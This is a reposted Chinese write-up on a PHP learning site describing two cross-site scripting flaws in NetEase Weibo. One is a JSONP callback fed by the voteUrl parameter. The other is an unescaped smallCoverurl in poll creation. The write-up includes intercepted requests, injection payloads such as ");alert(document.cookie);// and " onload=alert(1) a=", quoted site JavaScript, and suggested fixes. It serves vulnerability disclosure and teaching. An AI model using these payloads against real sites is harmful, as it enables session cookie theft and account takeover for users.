来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 第一个:1、在首页发微博,截获包然后修改。content=testisRetweet=0replyOriginal=0replyIt=0flag=0imageUrl=voteUrl=bbb修改了voteUrl参数为bbb,然后提交。2、回到首页,已经发布了一条微博。但......
第一个:
1、在首页发微博,截获包然后修改。 content=test&isRetweet=0&replyOriginal=0&replyIt=0&flag=0&imageUrl=&voteUrl=bbb"><>
修改了voteUrl参数为bbb"><>,然后提交。
2、回到首页,已经发布了一条微博。但是在Burp中有一个下面这样的请求:
http://163.fm/getOriginal?callback=jQuery16109319937340915203_1348642196756&q=T7n6r0L&_=1348642200976
(这个地址是我后来抓取的,不过已经能够说明问题了)
内容为
jQuery16109319937340915203_1348642196756("bbb"><>");
这是一个jsonp的请求,但是问题来了,这个数据没有进行任何处理。并且这段代码肯定是要加载到首页作为js代码执行的,我们构造闭合callback的代码,后面再插入我们自己的js代码肯定能够在首页执行的。
3、然后在发送一条微博,voteUrl参数改为");alert(document.cookie);//,再次访问首页,发现没有弹框,也没有和之前类似的请求了。不过我们之前忽略一个问题就是,content这个参数为微博的内容,但是我们发的微博却包含一个网易微博的短链接地址 http://163.fm/T7n6r0L ,鼠标移到上面,奇迹出现,弹出了我们插入的js代码。
4、voteUrl这个参数从字面上理解应该是投票地址,初步分析是网易微博没有对该参数校验就直接转换为短链接地址。从http://163.fm/getOriginal?callback=jQuery16109319937340915203_1348642196756&q=T7n6r0L&_=1348642200976这个地址返回的内容也能够判断出,传入到callback的参数就是我们voteUrl的值。
5、执行了js代码,但是并不知道为什么执行?先在firebug中查找getOriginal,在
http://img2.cache.netease.com/t/cssjs/439756/script/page/home.js
中有找到:
define("utils/DataSource",
function(a, b, c) {
var d = a("external/jquery"),
e = a("model/UserData"),
f = a("utils/log/Logger"),
g = {
keyFrom: null,
requestMap: {
longUrl: {
url: "http://163.fm/getOriginal",
login: !1
},
这个只是定义,在home.js中再查找longUrl,有如下代码:
define("task/shortURL",
function(a, b, c) {
var d = a("task/TaskManager"),
e = a("task/Task");
d.add(new e("shortURL",
function() {
var b = a("external/jquery"),
c = a("utils/DataSource");
b(document.body).delegate(".short-url:not(.processed)", "mouseenter",
function(a) {
var d = b(a.target),
e = d.addClass("processed").text();
if (e.indexOf("http://163.fm") === 0) {
var f = e.substr(14);
c.get("longUrl", {
q: f
},
function(a) {
d.attr("title", a)
},
"jsonp")
}
})
}))
});
在上面的代码中我们大致可以知道问题产生的原因:
a) 修改参数voteUrl发微博
b) voteUrl会转换成一个短链接地址,短链接对应的长链接地址为voteUrl的值
c) 微博中包含这个短链接地址,当鼠标移动到短链接地址会触发mouseenter事件
d) 响应mouseenter事件后会先取短链接后面的7个字符,把这7个字符作为q参数的值,然后通过ajax去http://163.fm/getOriginal请求资源。在这一步中执行我们的js代码。
e) 最后把短链接所对应真是的长链接地址放到微博中a标签的title属性。
修复方案:
1、对voteUrl参数进行判断
2、通过jsonp调用的时候先对voteUrl的值进行js转义。
上一个漏洞虽然是发微博处,还是需要一个小的交互才能够触发漏洞(不过绝大多数人都会有这个交互的)。
在这个网易微博的漏洞中不需要交互,看到微博就会触发xss漏洞。
1、首先说下漏洞是出现在创建投票处
2、在创建投票的地方可以上传图片,容易出现xss的地方,我们上传一个图片,同时把投票的其他项也补充好,提交的时候截断请求,会向服务端发送如下数据
title=%E9%92%93%E9%B1%BC%E5%B2%9B&description=&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&voteType=1&endTime=&coverurl=http%3A%2F%2F126.fm%2F2bqmHT&smallCoverurl=http%3A%2F%2Ftimge4.126.net%2Fimage%3Fw%3D322%26h%3D115%26url%3Dhttp%253A%252F%252F126.fm%252F2bqmHT%26gif%3D1%26quality%3D85
在实际测试中我在每个参数后面都加上类似"><bbb>这样的字符,创建投票,然后发表微博
3、访问刚才发表的微博,然后在源码中搜索 <bbb> 这样的字符,很不幸真的有,出现在img标签后面,由于是在首页访问,大致判断是smallCoverurl这个参数没有过滤好。
4、从新创建一个投票然后提交,如下:
title=%E9%92%93%E9%B1%BC%E5%B2%9B&description=&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&voteType=1&endTime=&coverurl=http%3A%2F%2F126.fm%2F2bqmHT&smallCoverurl=http%3A%2F%2Ftimge4.126.net%2Fimage%3Fw%3D322%26h%3D115%26url%3Dhttp%253A%252F%252F126.fm%252F2bqmHT%26gif%3D1%26quality%3D85" onload=alert(1) a="
5、再次访问新发表的微博,顺利执行我们的alert(1)。
下图:
或者访问:
http://t.163.com/0086269676
修复方案:
1、对coverurl和smallCoverurl参数进行编码处理,虽然我没有测试coverurl这个参数,但是我觉得应该也存在问题。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com